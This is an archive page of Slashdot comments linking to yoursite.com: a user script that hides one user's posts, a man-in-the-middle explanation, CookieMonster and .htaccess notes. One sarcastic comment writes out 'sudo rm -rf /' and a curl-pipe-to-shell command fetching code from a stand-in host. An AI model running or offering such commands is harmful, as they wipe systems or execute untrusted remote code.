Domain: yoursite.com
Stories and comments across the archive that link to yoursite.com.
Comments · 9
-
Re:AdBlock = Inferior + 'Souled-Out'... apk
Just found the following from slashdot id raymorris a while ago. I don't know if it works and I'm not sure exactly how to try it (could probably work it out if I had time) but it might be useful to someone...(raymorris post follows now):
User-uploaded CSS would be interesting. I bet I could figure out a way to do the following in pure CSS. Right now it's a user.js file.
It sets display: none on any posts by APK so I don't have to scroll past his spam on my phone. // ==UserScript== // @name NoAPK // @namespace http://yoursite.com/ [yoursite.com] // @include * // @version 1 // ==/UserScript==if(window.location.hostname.indexOf("slashdot.org") > -1)
{
var xpath = '//li[contains(concat(" ", normalize-space(@class), " "), " comment ") and contains(., "hosts file") and contains(., "apk") and string-length(.) > 10000]';
apkposts = document.evaluate(xpath, document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
for ( var i=0 ; i apkposts.snapshotLength; i++ )
{
apkposts.snapshotItem(i).style.display = 'none';
}
} -
That would be interesting. I'd include APK remover
User-uploaded CSS would be interesting. I bet I could figure out a way to do the following in pure CSS. Right now it's a user.js file.
It sets display: none on any posts by APK so I don't have to scroll past his spam on my phone. // ==UserScript== // @name NoAPK // @namespace http://yoursite.com/ // @include * // @version 1 // ==/UserScript==if(window.location.hostname.indexOf("slashdot.org") > -1)
{
var xpath = '//li[contains(concat(" ", normalize-space(@class), " "), " comment ") and contains(., "hosts file") and contains(., "apk") and string-length(.) > 10000]';
apkposts = document.evaluate(xpath, document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
for ( var i=0 ; i apkposts.snapshotLength; i++ )
{
apkposts.snapshotItem(i).style.display = 'none';
}
} -
OMG! VULNER4BILITY!
But here are some even simpler social engineering ideas:
* tell people to replace
/bin/sh with a binary you send them in the mail* tell people to type sudo rm -rf
/** tell people to type "curl http://yoursite.com/hack |
/bin/sh" -
And even moreso...
CookieMonster is an active tool.
It will take any OTHER connection the user makes on a wireless link, redirect THAT to point to http://yoursite.com/ answer that request with a SYN, and now the browser spits out the cookie.
-
Re:Seconded.
If you run a self-signed certificate you still can get the man in the middle protection.
That is true, if and only if you have your users verify the certificate before accepting it. Which means you have to do things like, have them check the fingerprint of the certificate with you over the phone, or help them install a certificate authority, again verifying the CA's cert with a fingerprint, probably over the phone.
If your users are that savvy, they shouldn't be so frightened by the Firefox warning, and/or you should be able to walk them through disabling it.
And if you have a handful of clients you may install the root certificate in a controlled situation on the clients
In which case, Firefox 3 won't give you that warning, and this is a non-issue.
The "insecurity" of not using a well-known CA is only a commercial stunt.
The fact that you can say this tells me that you have no idea how SSL works.
Sigh...
Let's walk through this one more time, shall we?
- Your user types https://yoursite.com/
- A man in the middle intercepts, and sends back his own self-signed certificate, made out to look like yours.
- Your user clicks "Accept", because you've convinced him that the warning is only a "commercial stunt."
- A secure session is opened between your user and the man in the middle.
- The man in the middle intercepts and decrypts all traffic, then opens a session to you, using your real self-signed certificate, this time -- and forwards it along.
- You're now significantly less secure than plaintext HTTP, as the user will now get a nasty warning when the MITM stops intercepting their traffic.
- Additionally, you've trained them to accept self-signed certs from people who actually have real accounts. Over the next week, their Paypal account, bank information, and credit card details are stolen, all because you convinced them it's a "commercial stunt." -
Sites and others will move to SSLThis sort of BS will cause standard non-commercial / login sites to all move to SSL.
redirect Http://youriste.com to https://yoursite.com/ before anything is served.
If anyone thinks any of the CPM ad networks or major sites will allow this for even an instant, your eye is not on the money.
If they use such tech for the less easily encrypted protocols... you'll find those as well slowly pushed into it.
Which leaves the ISP's with two options if they wish to pursue this, they can proxy everything their customers connect to and essentialyl monkey in the middle the whole affair (not possible due to sheer processing/bandwidth... yet)... or they may form an alliance with the ad networks (scarier more likely prospect).
-
Re:Robots?
Easy enough to block your images and video from being crawled. Most webmasters use some sort of directory structure - just block your image & video directories.
Disallow: /images/
Disallow: /video/
And use your .htacess file to have images remotely linked in the interm go to a rude image to disuade theifs.
RewriteEngine on
# Prevent Image theft
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://www/\.)?|(portal\.)?)yoursite.com/.*$ [NC]
RewriteRule \.(gif|jpg|mpg|mp3|pdf)$ http://www.yoursite.com/rude_image_for_thiefs.gif [R,L]
Duh! -
Re:The second one suprises me
You probably weren't viewing http://yoursite.com./, but http://yoursite.com/ instead.
-
Re:The second one suprises me
You probably weren't viewing http://yoursite.com./, but http://yoursite.com/ instead.